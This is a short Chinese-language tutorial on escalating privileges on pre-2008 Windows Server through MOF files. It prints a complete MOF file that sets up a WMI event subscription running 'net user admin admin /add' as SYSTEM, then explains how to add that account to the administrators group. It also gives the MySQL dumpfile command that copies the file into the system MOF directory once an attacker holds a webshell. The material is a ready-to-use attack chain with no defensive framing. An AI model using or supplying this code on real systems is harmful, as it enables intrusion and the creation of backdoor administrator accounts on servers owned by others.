原理
利用了c:/windows/system32/wbem/mof/目录下的 nullevt.mof 文件,每分钟都会在一个特定的时间去执行一次的特性,来写入我们的cmd命令使其被带入执行。
对windows版本有所要求:
仅限windows server2008以下的版本
mof提权代码
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net user admin admin /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
再将命令换为net localgroup administrators admin /add
即可得到administrator用户admin
原理简单,在什么时候使用mof提权呢?
拿下webshell之后当前权限仅限于对网站文件的操作,想要获取对主机的操作还需进一步提权
我们可以将此mof文件上传到网站目录,通过mysql的outfile操作拷贝到服务器的c:/windows/system32/wbem/mof/目录下来执行命令
select load_file('C:/wwwroot/nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof'